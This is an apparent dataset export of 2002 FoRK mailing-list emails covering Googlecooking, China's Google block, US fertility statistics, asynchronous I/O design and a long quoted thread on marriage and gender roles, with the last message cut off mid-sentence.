Googlewhacking, Googlebombing and now we can add Googlecooking to our lexicon. My mother types whatever ingredients she has on hand into Google and then picks the most appealing recipe returned in the results. What a good idea! - Jim",0,1 """Jim Whitehead"" ","""FoRK"" ","Fri, 6 Sep 2002 10:27:00 -0700",Hoag's Object,"http://oposite.stsci.edu/pubinfo/pr/2002/21/ (Shows a picture of a wheel within a wheel galaxy). The universe is a strange and wonderful place. - Jim",0,1 Tom ,Russell Turpin ,"Fri, 6 Sep 2002 15:30:42 -0400 (EDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Fri, 6 Sep 2002, Russell Turpin wrote: --]want more kids, we have to convince people who are --]in their twenties to become parents. --] Hey give me a break, I was working on finding the right mate. Once I did, boomsky theres a puppy and if you would kindly not put on So much preasure there culd well be another. 3 is a magic number...yes it is , its a magic number",0,0 """Jim Whitehead"" ","""Eugen Leitl"" , ","Fri, 6 Sep 2002 10:24:14 -0700",RE: Re[2]: Selling Wedded Bliss (was Re: Ouch...),"> Clearly our non-silly non-antiquated ideas about relationships have > resulted in mostly short-duration relationships and single-parented, > dysfunctional kids (not enough of them too boot, so to keep our > demographics from completely keeling over we're importing them from places > with mostly silly and antiquated ideas). > > At least from the viewpoint of demographics sustainability and > counterpressure to gerontocracy and resulting innovatiophobia we're doing > something wrong. There was a fascinating article in the Economist 1-2 weeks back (the issue with a pregnant-looking Statue of Liberty on the Front) that stated that even for the native US population, fertility had jumped in the last decade and a half. I think the current figure for the US is a little over 2, but not quite the ~2.1 of replacement rate. Combined with the very fertile non-native population, the article implied the US was going to have a significant increase in population over earlier predictions. As well, the population would overall be more youthful, with associated implications for being able to fund social programs, military spending, consumer spending, etc. Europe did not show the same increase in fertility. Some actual data for the US are here: http://www.census.gov/population/pop-profile/2000/chap04.pdf Part of: http://www.census.gov/population/www/pop-profile/profile2000.html - Jim",0,1 """Jim Whitehead"" ","""FoRK"" ","Fri, 6 Sep 2002 12:58:46 -0700",Google? Not in China,"In a slightly old news story, it turns out the Chinese government has banned all access to the Google and AltaVista search engines. http://www.nytimes.com/2002/09/04/international/asia/04BEIJ.html http://www.bayarea.com/mld/bayarea/business/3996218.htm http://news.bbc.co.uk/1/hi/technology/2233229.stm http://news.bbc.co.uk/1/hi/technology/2238236.stm The reason appears to be the Google cache feature. I can only imagine the Internet Archive will soon follow, if it isn't already blocked. Seems that governments do have some power over the Web, after all. - Jim",0,1 Tom ,Jim Whitehead ,"Fri, 6 Sep 2002 15:34:40 -0400 (EDT)",Re: Googlecooking,"On Fri, 6 Sep 2002, Jim Whitehead wrote: --]We've got Googlewhacking, Googlebombing and now we can add Googlecooking to --]our lexicon. My mother types whatever ingredients she has on hand into --]Google and then picks the most appealing recipe returned in the results. --]What a good idea! Dude, this is at least two years old and probably older. Of course we had a more catchy phrase for it, we call it Iron Chef Google. When the garden was in full bloom a few summers back Dawn and I would google the ingrediants we just grew to come up with tasty recipes, or more often ideas from recipes from which toi make our own. Fight the hypebuzzword war, be an army of one:)- -tom (iron che tempah)wsmf",0,0 Dave Long ,fork@spamassassin.taint.org,"Fri, 06 Sep 2002 13:25:32 -0700",Re: asynchronous I/O (was Re: Gasp!),"> Wrong, [VMS-like async io] makes a huge difference in even what I > consider small programs. So it sounds as if, to your thinking, most useful apps are also trivial. Unless each key on my keyboard were (to the apps) distinct event sources, I can't think of any of my usual job mix that would need hundreds, or even tens, of async requests; perhaps you can explain how nontrivial apps will be compellingly useful? > but it's still not built in, who knows when it will be. The point is it's > not portable in either case. Does that lack of portability imply it isn't generally useful? (When it was apparent that TCP networks were useful, berkeley sockets could be found even on VMS and Win 3.1 boxen) Why would early Unix have run with the idea that, if one wishes to do multiple things at the same time, one can use a group of processes to do them? - they had Multics as a counterexample? - in the days of tiny memories and tapes, people were more accustomed to writing programs that didn't run entirely in a single address space? - one is a great number for an interface, as log(1) is 0, and specification can be implicit? - some combination of the above? Now, as Hoare says: > There are two ways of constructing a software design. One way is to make > it so simple that there are obviously no deficiencies and the other is to > make it so complicated that there are no obvious deficiencies. As programmers, we've been able to make our lives complicated for at least half a century; the hardware interrupt gives us the rope. Part of Dijkstra's inspiration for THE was the counterexample of IBM's multi- programmed boxes (were these the same ones that inspired Mythical Man Month?) and I suppose he would say the question is how not to make a mess of it -- how should we structure computations so if we try to do ten times as many things at the same time, reasoning about the resulting system is at most ten times more complex -- not one hundred, and certainly not three and a half million times more. Compared to that project, the prospect of writing a driver library for various vendors' aio implementations seems to be truly trivial. -Dave (Oracle, in their quest for portability, used to use raw disks for the database. This finessed the filesystem issue; did it also allow them to roll their own set of async drivers?)",0,0 CDale ,Eugen Leitl ,"Fri, 6 Sep 2002 20:26:31 -0500 (CDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Fri, 6 Sep 2002, Eugen Leitl wrote: > On Fri, 6 Sep 2002, CDale wrote: > > > It also depends on what the fad is or what is in style. (: > > DNA's idea of fads is on the 100 kiloyear scale, unfortunately. As long as > current fads don't involve in-vivo rewrite of the genome, homeoboxes > including (now there's a problem for you, homeoboxing the adult), they're > not all that smart an idear. I forgot what we were taking about. (: > > > Actualy our silly antiquated ideas about relationships and love have > > resulted in the bleedings of many upon many a page (and musical > > instrumnet, and canvas) What's the problem if we dash a little Mrs. > > Art is sure nice. However, if art is our first priority we're kinda > fux0red, if we've set our sight on a sustainable culture. Nah, didn't say art's our priority. Said our ideas about relationships and love are. > > And let me tell you this: just because a child happens to be > > single-parented (what a word), does not mean that child is > > dysfunctional or lives in a dysfunctional home. The govt/media/church > > Our firmware is not built to be single-parented. You can counteract that > somewhat by exposing the kid to a community of close friends, but not too > many do that. I see it a lot in the south. Also family. > > > has tried to make it look like there is a disintegration, when in > > fact, there is a coming together of other family members and friends > > to raise children. It's not decaying -- it's changing. Nothing wrong > > with change. > > I don't know what exactly is wrong, but something is definitely wrong. > This is way too important to be left to just our intuition of what is > right and what is wrong. One thing that's wrong is who some of us choose as babysitters. Too many kids are put in front of the television for hours each day, to be influenced by what the media and government thinks is important. I learned a long time ago that what they think is important and what is are two different things. I threw the TV out when Xi was 9. She's got her own place now, and still doesn't have one. YaY! Another thing that's wrong is what goes on in public schools. Some allow a bit of individuality, but only for a class or a short period of time, depending on the teachers, most of the time. I dunno how many times I've seen Xi come home from school absolutely miserable or outraged about something that happened at school. She made it to college, though, whew. It's a big problem to tackle, and I don't know the answer. I like the idea of the voucher system, because in a way it is a way parents can vote more efficiently for how their kids are taught. > > > > At least from the viewpoint of demographics sustainability and > > > counterpressure to gerontocracy and resulting innovatiophobia we're doing > > > something wrong. > > > > > > Maybe we should really go dirty Tleilaxu all the way. > > > > > > > Maybe y'all should buy m-w some more bandwidth. > > m-w? > merriam-webster. (: C -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 Gary Lawrence Murphy ,"""Jim Whitehead"" ",06 Sep 2002 21:54:41 -0400,Re: Google? Not in China,">>>>> ""J"" == Jim Whitehead writes: J> Seems that governments do have some power over the J> Web, after all. At the 1993 ITAC ""Roadwork"" Conference, Peter Mansbridge asked the panel of experts how it might be possible to censor the internet. All of the panelists laughed except Bill Buxton. Peter asked him if he knew something the others didn't. Bill replied that it /was/ possible to censor the internet, which drew a gasp from the audience. ""All you need is a global government more Draconian than any that has occured before in history"" Scientology DMCA suits against Norwegians, legal RIAA file-trading virii, Bush's Homeland Insecurity, Canada using ISPs as spies, RIAA suing Prodigy for P2P users and having Foreign sites barred from the US, France tempers Yahoo, China IP-filters Google ... Seems Bill didn't know much about how Government really works. Either that, or there's a smelly similarity between Buxton's global Big Brother and the US and Chinese. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """Geege Schuman"" ","""CDale"" , ","Fri, 6 Sep 2002 22:16:46 -0400",RE: Re[2]: Selling Wedded Bliss (was Re: Ouch...),"quitcherbraggin. :-) gg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of CDale Sent: Friday, September 06, 2002 3:42 AM To: bitbitch@magnesium.net Cc: Adam L. Beberg; fork@spamassassin.taint.org Subject: Re[2]: Selling Wedded Bliss (was Re: Ouch...) I dunno, BB. Women who like to be thought of this way should have the right to choose to be treated this way. Men too... ahem. (: My boy cleans, washes clothes, cooks, fixes stuff, etc, and works the same number of hours I do, sometimes more, if he has to catch up with me. (: I close him because he is industrious and creative, and because he unfailingly makes my bed the minute I get out of it. And boy #2 will be here soon to help boy #1 with other things such as pedicures, backrubs, and sure, fucking. LOL! (along with the aforementioned ""chores"") Adam can have his cake and eat it too, if he can only find the right girl who has the same beliefs about gender roles that he has. Of course, he has NO clue where to look, so we will be constantly laughing at him while he stumbles around in the dark. Cindy P.S. the numbers do not in any way indicate importance or favor -- only the order in which they move into my house. -smiles at chris- P.S. #2. I'm moving. Going to New Orleans. Can't handle any more cab driving. The summer sucked here on the MS Gulf Coast, instead of rocking like it normally does. Wish me luck. I'm going to look for another computer job. Le Sigh. (: On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > Hello Adam, > > Thursday, September 05, 2002, 11:33:18 PM, you wrote: > > > ALB> So, you're saying that product bundling works? Good point. > > Sometimes I wish I was still in CA. You deserve a good beating every > so often... (anyone else want to do the honors?) > > ALB> And how is this any different from ""normal"" marriage exactly? Other then > ALB> that the woman not only gets a man, but one in a country where both she and > ALB> her offspring will have actual opportunities? Oh and the lack of > ALB> ""de-feminized, over-sized, self-centered, mercenary-minded"" choices? > > Mmkay. For the nth time Adam, we don't live in the land of > Adam-fantasy. Women actually are allowed to do things productive, > independent and entirely free of their male counterparts. They aren't > forced to cook and clean and merely be sexual vessels. Sometimes, > and this will come as a shock to you, no doubt, men and women even > find -love- (which is the crucial distinction between this system) and > they marry one another for the satisfaction of being together. I > know, far-fetched and idealistically crazy as it is, but such things > do happen. I can guarantee you, if my mother was approached by my > father, and 25 years ago, he commented on her cleaning ability as a > motivator for marrying her, we would not be having this conversation > now. > > If guys still have silly antequated ideas about 'women's role' then > their opportunities for finding women _will_ be scarce. Again, these > situations are great, provided everyone is aware that the relationship > is a contractual one -- he wants a maid, a dog and a prostitute he > doesn't have to pay, and she wants a country that isn't impoverished > and teeming with AIDS. A contract, versus a true love-interest > marriage. > > Egh. I really need to stop analyzing your posts to this extent. I > blame law school and my cat. > > -BB > > ALB> - Adam L. ""Duncan"" Beberg > ALB> http://www.mithral.com/~beberg/ > ALB> beberg@mithral.com > > > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 """Jim Whitehead"" ","""FoRK"" ","Fri, 6 Sep 2002 13:54:21 -0700",Online contents of Electronic Publishing journal,"I recently stumbled across the contents of the journal, ""Electronic Publishing"", which was published from January, 1988 through December, 1995. All papers are available online in PDF (this was apparently one of the first journals to disseminate in PDF, in 1994). The journal also reprints some of the better papers from the Electronic Publishing conferences, held bi-yearly from 1986-1992 (EP86, EP88, EP90, EP92). http://cajun.cs.nott.ac.uk/compsci/epo/papers/epoddtoc.html Today's reader might look at the contents and wonder about their relevance, since they don't directly discuss the Web. As an academic, I find this journal valuable, since the papers are of generally high quality (by top researchers), and they provide lots of pointers to the evolution of the ideas that led to many Web technologies. It's one source among many for sifting through the intellectual lineage of electronic publishing technologies. Rohit and Adam might find the following papers especially relevant, in the context of their WWW7 ""Evolution of Document Species"" paper: Page Description Languages: Development, Implementation and Standardization: A. L. Oakley and A. C. Norris http://cajun.cs.nott.ac.uk/compsci/epo/papers/volume1/issue2/epalo012.pdf Important papers in the history of document preparation systems: basic sources: Richard K. Furuta http://cajun.cs.nott.ac.uk/compsci/epo/papers/volume5/issue1/ep057rf.pdf (Excellent overview of sources) Several of the authors of papers in this journal are now involved in the ACM Document Engineering conference series: http://www.documentengineering.org/ - Jim",0,1 CDale ,Geege Schuman ,"Fri, 6 Sep 2002 21:21:09 -0500 (CDT)",RE: Re[2]: Selling Wedded Bliss (was Re: Ouch...),"Why should I? (: C On Fri, 6 Sep 2002, Geege Schuman wrote: > quitcherbraggin. > > :-) > gg > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of CDale > Sent: Friday, September 06, 2002 3:42 AM > To: bitbitch@magnesium.net > Cc: Adam L. Beberg; fork@spamassassin.taint.org > Subject: Re[2]: Selling Wedded Bliss (was Re: Ouch...) > > > I dunno, BB. Women who like to be thought of this way should have the > right to choose to be treated this way. Men too... ahem. (: My boy > cleans, washes clothes, cooks, fixes stuff, etc, and works the same number > of hours I do, sometimes more, if he has to catch up with me. (: I > close him because he is industrious and creative, and because he > unfailingly makes my bed the minute I get out of it. And boy #2 will be > here soon to help boy #1 with other things such as pedicures, backrubs, > and sure, fucking. LOL! (along with the aforementioned ""chores"") Adam can > have his cake and eat it too, if he can only find the right girl who has > the same beliefs about gender roles that he has. Of course, he has NO > clue where to look, so we will be constantly laughing at him while he > stumbles around in the dark. > Cindy > P.S. the numbers do not in any way indicate importance or favor -- only > the order in which they move into my house. -smiles at chris- > P.S. #2. I'm moving. Going to New Orleans. Can't handle any more cab > driving. The summer sucked here on the MS Gulf Coast, instead of rocking > like it normally does. Wish me luck. I'm going to look for another > computer job. Le Sigh. (: > > On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > > > Hello Adam, > > > > Thursday, September 05, 2002, 11:33:18 PM, you wrote: > > > > > > ALB> So, you're saying that product bundling works? Good point. > > > > Sometimes I wish I was still in CA. You deserve a good beating every > > so often... (anyone else want to do the honors?) > > > > ALB> And how is this any different from ""normal"" marriage exactly? Other > then > > ALB> that the woman not only gets a man, but one in a country where both > she and > > ALB> her offspring will have actual opportunities? Oh and the lack of > > ALB> ""de-feminized, over-sized, self-centered, mercenary-minded"" choices? > > > > Mmkay. For the nth time Adam, we don't live in the land of > > Adam-fantasy. Women actually are allowed to do things productive, > > independent and entirely free of their male counterparts. They aren't > > forced to cook and clean and merely be sexual vessels. Sometimes, > > and this will come as a shock to you, no doubt, men and women even > > find -love- (which is the crucial distinction between this system) and > > they marry one another for the satisfaction of being together. I > > know, far-fetched and idealistically crazy as it is, but such things > > do happen. I can guarantee you, if my mother was approached by my > > father, and 25 years ago, he commented on her cleaning ability as a > > motivator for marrying her, we would not be having this conversation > > now. > > > > If guys still have silly antequated ideas about 'women's role' then > > their opportunities for finding women _will_ be scarce. Again, these > > situations are great, provided everyone is aware that the relationship > > is a contractual one -- he wants a maid, a dog and a prostitute he > > doesn't have to pay, and she wants a country that isn't impoverished > > and teeming with AIDS. A contract, versus a true love-interest > > marriage. > > > > Egh. I really need to stop analyzing your posts to this extent. I > > blame law school and my cat. > > > > -BB > > > > ALB> - Adam L. ""Duncan"" Beberg > > ALB> http://www.mithral.com/~beberg/ > > ALB> beberg@mithral.com > > > > > > > > > > > > > > -- > ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn > > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 Eirikur Hallgrimsson ,FoRK@xent.com,"Sat, 7 Sep 2002 01:40:32 -0400",Re: Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Friday 06 September 2002 06:16 am, Eugen Leitl wrote: > I don't know what exactly is wrong, but something is definitely wrong. > This is way too important to be left to just our intuition of what is > right and what is wrong. This is one of those formally difficult points from a philosophy perspective. You can't really throw out intuition and emotion because reason really only gets you answers that reflect the genome and the ancestral environment. Going forward requires creativity and experiment. Eirikur",0,0 CDale ,Geege Schuman ,"Sat, 7 Sep 2002 08:40:16 -0500 (CDT)",RE: Re[2]: Selling Wedded Bliss (was Re: Ouch...),"If it's unwritten, how'm I supposed to know unless someone CALLS me up and tells me/ hint hint. LOL (: Well, I reckon it's a written rule now, since it's on the internet in text format w/ your name attached, but then again, when have I ever followed any damned rules??? (: C On Sat, 7 Sep 2002, Geege Schuman wrote: > unwritten rule. 8-) > > gg > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of CDale > Sent: Friday, September 06, 2002 10:21 PM > To: Geege Schuman > Cc: bitbitch@magnesium.net; Adam L. Beberg; fork@spamassassin.taint.org > Subject: RE: Re[2]: Selling Wedded Bliss (was Re: Ouch...) > > > Why should I? (: > C > > On Fri, 6 Sep 2002, Geege Schuman wrote: > > > quitcherbraggin. > > > > :-) > > gg > > > > -----Original Message----- > > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of CDale > > Sent: Friday, September 06, 2002 3:42 AM > > To: bitbitch@magnesium.net > > Cc: Adam L. Beberg; fork@spamassassin.taint.org > > Subject: Re[2]: Selling Wedded Bliss (was Re: Ouch...) > > > > > > I dunno, BB. Women who like to be thought of this way should have the > > right to choose to be treated this way. Men too... ahem. (: My boy > > cleans, washes clothes, cooks, fixes stuff, etc, and works the same number > > of hours I do, sometimes more, if he has to catch up with me. (: I > > close him because he is industrious and creative, and because he > > unfailingly makes my bed the minute I get out of it. And boy #2 will be > > here soon to help boy #1 with other things such as pedicures, backrubs, > > and sure, fucking. LOL! (along with the aforementioned ""chores"") Adam can > > have his cake and eat it too, if he can only find the right girl who has > > the same beliefs about gender roles that he has. Of course, he has NO > > clue where to look, so we will be constantly laughing at him while he > > stumbles around in the dark. > > Cindy > > P.S. the numbers do not in any way indicate importance or favor -- only > > the order in which they move into my house. -smiles at chris- > > P.S. #2. I'm moving. Going to New Orleans. Can't handle any more cab > > driving. The summer sucked here on the MS Gulf Coast, instead of rocking > > like it normally does. Wish me luck. I'm going to look for another > > computer job. Le Sigh. (: > > > > On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > > > > > Hello Adam, > > > > > > Thursday, September 05, 2002, 11:33:18 PM, you wrote: > > > > > > > > > ALB> So, you're saying that product bundling works? Good point. > > > > > > Sometimes I wish I was still in CA. You deserve a good beating every > > > so often... (anyone else want to do the honors?) > > > > > > ALB> And how is this any different from ""normal"" marriage exactly? Other > > then > > > ALB> that the woman not only gets a man, but one in a country where both > > she and > > > ALB> her offspring will have actual opportunities? Oh and the lack of > > > ALB> ""de-feminized, over-sized, self-centered, mercenary-minded"" > choices? > > > > > > Mmkay. For the nth time Adam, we don't live in the land of > > > Adam-fantasy. Women actually are allowed to do things productive, > > > independent and entirely free of their male counterparts. They aren't > > > forced to cook and clean and merely be sexual vessels. Sometimes, > > > and this will come as a shock to you, no doubt, men and women even > > > find -love- (which is the crucial distinction between this system) and > > > they marry one another for the satisfaction of being together. I > > > know, far-fetched and idealistically crazy as it is, but such things > > > do happen. I can guarantee you, if my mother was approached by my > > > father, and 25 years ago, he commented on her cleaning ability as a > > > motivator for marrying her, we would not be having this conversation > > > now. > > > > > > If guys still have silly antequated ideas about 'women's role' then > > > their opportunities for finding women _will_ be scarce. Again, these > > > situations are great, provided everyone is aware that the relationship > > > is a contractual one -- he wants a maid, a dog and a prostitute he > > > doesn't have to pay, and she wants a country that isn't impoverished > > > and teeming with AIDS. A contract, versus a true love-interest > > > marriage. > > > > > > Egh. I really need to stop analyzing your posts to this extent. I > > > blame law school and my cat. > > > > > > -BB > > > > > > ALB> - Adam L. ""Duncan"" Beberg > > > ALB> http://www.mithral.com/~beberg/ > > > ALB> beberg@mithral.com > > > > > > > > > > > > > > > > > > > > > > -- > > ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn > > > > > > > > > > > > -- > ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn > > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Sat, 7 Sep 2002 15:52:57 +0200 (CEST)",Re: Selling Wedded Bliss (was Re: Ouch...),"CDale URLed thusly: >http://www.news.harvard.edu/gazette/2000/10.19/01_monogamy.html >The assumption that females of all species tend to be less promiscuous >than males simply does not fit the facts, Hrdy contended. Well, DUH!!! It is perfectly obvious that (heterosexual) promiscuity is exactly, precisely identical between males and females. Of course the shapes of the distributions may differ. R",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Sat, 07 Sep 2002 15:05:51 +0000",Re: Selling Wedded Bliss (was Re: Ouch...),"Robert Harley: >It is perfectly obvious that (heterosexual) promiscuity is exactly, >precisely identical between males and females. Yeah, assuming approximately equal populations. But that obscures the different modes of promiscuity. Both the person who gives sex for money or power or companionship and the person who uses money and power and companionship to get sex are promiscuous, in the broadest sense of the word. But their motives and behavior are quite different. Langur monkeys were the example in the cited article. ""Dominant males .. kill babies that are not their own."" ""The dominant male monkey .. seeks to defend his harem of females."" But cozying up to the current dominant male isn't the best strategy for female langurs, because ""dominant males are dethroned by rivals every 27 months or so."" ""By mating with as many extra-group males as possible, female langurs ensure their offspring against infanticide,"" by the male who is likely next to rule the roost. Maybe it's just me, but that doesn't paint a picture of carefree females engaged in joyously promiscuous couplings. The dom cab driver who is taking her two boy toys to New Orleans is a better picture of that. ;-) _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com",0,1 """Geege Schuman"" ","""CDale"" ,","Sat, 7 Sep 2002 09:07:50 -0400",RE: Re[2]: Selling Wedded Bliss (was Re: Ouch...),"unwritten rule. 8-) gg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of CDale Sent: Friday, September 06, 2002 10:21 PM To: Geege Schuman Cc: bitbitch@magnesium.net; Adam L. Beberg; fork@spamassassin.taint.org Subject: RE: Re[2]: Selling Wedded Bliss (was Re: Ouch...) Why should I? (: C On Fri, 6 Sep 2002, Geege Schuman wrote: > quitcherbraggin. > > :-) > gg > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of CDale > Sent: Friday, September 06, 2002 3:42 AM > To: bitbitch@magnesium.net > Cc: Adam L. Beberg; fork@spamassassin.taint.org > Subject: Re[2]: Selling Wedded Bliss (was Re: Ouch...) > > > I dunno, BB. Women who like to be thought of this way should have the > right to choose to be treated this way. Men too... ahem. (: My boy > cleans, washes clothes, cooks, fixes stuff, etc, and works the same number > of hours I do, sometimes more, if he has to catch up with me. (: I > close him because he is industrious and creative, and because he > unfailingly makes my bed the minute I get out of it. And boy #2 will be > here soon to help boy #1 with other things such as pedicures, backrubs, > and sure, fucking. LOL! (along with the aforementioned ""chores"") Adam can > have his cake and eat it too, if he can only find the right girl who has > the same beliefs about gender roles that he has. Of course, he has NO > clue where to look, so we will be constantly laughing at him while he > stumbles around in the dark. > Cindy > P.S. the numbers do not in any way indicate importance or favor -- only > the order in which they move into my house. -smiles at chris- > P.S. #2. I'm moving. Going to New Orleans. Can't handle any more cab > driving. The summer sucked here on the MS Gulf Coast, instead of rocking > like it normally does. Wish me luck. I'm going to look for another > computer job. Le Sigh. (: > > On Thu, 5 Sep 2002 bitbitch@magnesium.net wrote: > > > Hello Adam, > > > > Thursday, September 05, 2002, 11:33:18 PM, you wrote: > > > > > > ALB> So, you're saying that product bundling works? Good point. > > > > Sometimes I wish I was still in CA. You deserve a good beating every > > so often... (anyone else want to do the honors?) > > > > ALB> And how is this any different from ""normal"" marriage exactly? Other > then > > ALB> that the woman not only gets a man, but one in a country where both > she and > > ALB> her offspring will have actual opportunities? Oh and the lack of > > ALB> ""de-feminized, over-sized, self-centered, mercenary-minded"" choices? > > > > Mmkay. For the nth time Adam, we don't live in the land of > > Adam-fantasy. Women actually are allowed to do things productive, > > independent and entirely free of their male counterparts. They aren't > > forced to cook and clean and merely be sexual vessels. Sometimes, > > and this will come as a shock to you, no doubt, men and women even > > find -love- (which is the crucial distinction between this system) and > > they marry one another for the satisfaction of being together. I > > know, far-fetched and idealistically crazy as it is, but such things > > do happen. I can guarantee you, if my mother was approached by my > > father, and 25 years ago, he commented on her cleaning ability as a > > motivator for marrying her, we would not be having this conversation > > now. > > > > If guys still have silly antequated ideas about 'women's role' then > > their opportunities for finding women _will_ be scarce. Again, these > > situations are great, provided everyone is aware that the relationship > > is a contractual one -- he wants a maid, a dog and a prostitute he > > doesn't have to pay, and she wants a country that isn't impoverished > > and teeming with AIDS. A contract, versus a true love-interest > > marriage. > > > > Egh. I really need to stop analyzing your posts to this extent. I > > blame law school and my cat. > > > > -BB > > > > ALB> - Adam L. ""Duncan"" Beberg > > ALB> http://www.mithral.com/~beberg/ > > ALB> beberg@mithral.com > > > > > > > > > > > > > > -- > ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn > > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 """Geege Schuman"" ","""Russell Turpin"" , ","Sat, 7 Sep 2002 13:52:44 -0400",RE: Selling Wedded Bliss (was Re: Ouch...),"cdale is a double chocolate chip macadamia to my vanilla wafer. wait, maybe i'm a ginger snap. gg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Russell Turpin Sent: Saturday, September 07, 2002 11:06 AM To: fork@spamassassin.taint.org Subject: Re: Selling Wedded Bliss (was Re: Ouch...) Robert Harley: >It is perfectly obvious that (heterosexual) promiscuity is exactly, >precisely identical between males and females. Yeah, assuming approximately equal populations. But that obscures the different modes of promiscuity. Both the person who gives sex for money or power or companionship and the person who uses money and power and companionship to get sex are promiscuous, in the broadest sense of the word. But their motives and behavior are quite different. Langur monkeys were the example in the cited article. ""Dominant males .. kill babies that are not their own."" ""The dominant male monkey .. seeks to defend his harem of females."" But cozying up to the current dominant male isn't the best strategy for female langurs, because ""dominant males are dethroned by rivals every 27 months or so."" ""By mating with as many extra-group males as possible, female langurs ensure their offspring against infanticide,"" by the male who is likely next to rule the roost. Maybe it's just me, but that doesn't paint a picture of carefree females engaged in joyously promiscuous couplings. The dom cab driver who is taking her two boy toys to New Orleans is a better picture of that. ;-) _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com",0,1 CDale ,Geege Schuman ,"Sat, 7 Sep 2002 13:11:42 -0500 (CDT)",RE: Selling Wedded Bliss (was Re: Ouch...),"Hah. I guess she doesn't want everyone to know about all the kinky sex she and I have had. LOL C On Sat, 7 Sep 2002, Geege Schuman wrote: > cdale is a double chocolate chip macadamia to my vanilla wafer. wait, maybe > i'm a ginger snap. > > > gg > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of > Russell Turpin > Sent: Saturday, September 07, 2002 11:06 AM > To: fork@spamassassin.taint.org > Subject: Re: Selling Wedded Bliss (was Re: Ouch...) > > > Robert Harley: > >It is perfectly obvious that (heterosexual) promiscuity is exactly, > >precisely identical between males and females. > > Yeah, assuming approximately equal populations. > But that obscures the different modes of > promiscuity. Both the person who gives sex for > money or power or companionship and the person > who uses money and power and companionship to > get sex are promiscuous, in the broadest sense > of the word. But their motives and behavior are > quite different. > > Langur monkeys were the example in the cited > article. ""Dominant males .. kill babies that > are not their own."" ""The dominant male monkey > .. seeks to defend his harem of females."" But > cozying up to the current dominant male isn't > the best strategy for female langurs, because > ""dominant males are dethroned by rivals every > 27 months or so."" ""By mating with as many > extra-group males as possible, female langurs > ensure their offspring against infanticide,"" > by the male who is likely next to rule the > roost. > > Maybe it's just me, but that doesn't paint a > picture of carefree females engaged in joyously > promiscuous couplings. The dom cab driver who > is taking her two boy toys to New Orleans is a > better picture of that. ;-) > > > > > > _________________________________________________________________ > Chat with friends online, try MSN Messenger: http://messenger.msn.com > > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 CDale ,Russell Turpin ,"Sat, 7 Sep 2002 10:49:41 -0500 (CDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"Oh, well, uh, thank you, Russell. LOL@#! (I think?) C On Sat, 7 Sep 2002, Russell Turpin wrote: > Robert Harley: > >It is perfectly obvious that (heterosexual) promiscuity is exactly, > >precisely identical between males and females. > > Yeah, assuming approximately equal populations. > But that obscures the different modes of > promiscuity. Both the person who gives sex for > money or power or companionship and the person > who uses money and power and companionship to > get sex are promiscuous, in the broadest sense > of the word. But their motives and behavior are > quite different. > > Langur monkeys were the example in the cited > article. ""Dominant males .. kill babies that > are not their own."" ""The dominant male monkey > .. seeks to defend his harem of females."" But > cozying up to the current dominant male isn't > the best strategy for female langurs, because > ""dominant males are dethroned by rivals every > 27 months or so."" ""By mating with as many > extra-group males as possible, female langurs > ensure their offspring against infanticide,"" > by the male who is likely next to rule the > roost. > > Maybe it's just me, but that doesn't paint a > picture of carefree females engaged in joyously > promiscuous couplings. The dom cab driver who > is taking her two boy toys to New Orleans is a > better picture of that. ;-) > > > > > > _________________________________________________________________ > Chat with friends online, try MSN Messenger: http://messenger.msn.com > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,1 """Gordon Mohr"" ",,"Sat, 7 Sep 2002 13:08:41 -0700",Re: Selling Wedded Bliss (was Re: Ouch...),"Definitional nit to pick: Robert Harley writes: > It is perfectly obvious that (heterosexual) promiscuity is exactly, > precisely identical between males and females. > > Of course the shapes of the distributions may differ. You've redefined ""promiscuity"" above as ""total"" or ""average"" activity, which seems to rob it of its common meaning: activity above some specific threshold (usually ""one"") or norm, or involving extra or indiscriminate variety. ""Promiscuity"" is thus inherently a description of distributions rather than averages. Consider a population of 3 males and 3 females. Let there be three pairings which result in each person having sex once. Then, let one of the males also have sex with the other two females. Sure, the average number of sex acts and sex partners is equal between the sexes, tautologically. But here more women than men are: - above the single partner threshold - above the overall average 1.67 acts/partners threshold - above the overall median 1.5 acts/partners - above the overall mode 1 acts/partners And here women have a higher mode (2) and median (2) number of partners. So in this contrived population, females are more ""promiscuous"" than males, unless ""promiscuity"" is defined uselessly. - Gordon",0,0 """Russell Turpin"" ",fork@spamassassin.taint.org,"Sat, 07 Sep 2002 19:07:29 +0000",RE: Selling Wedded Bliss (was Re: Ouch...),"CDale: >I guess [Geege] doesn't want everyone to know about all the kinky 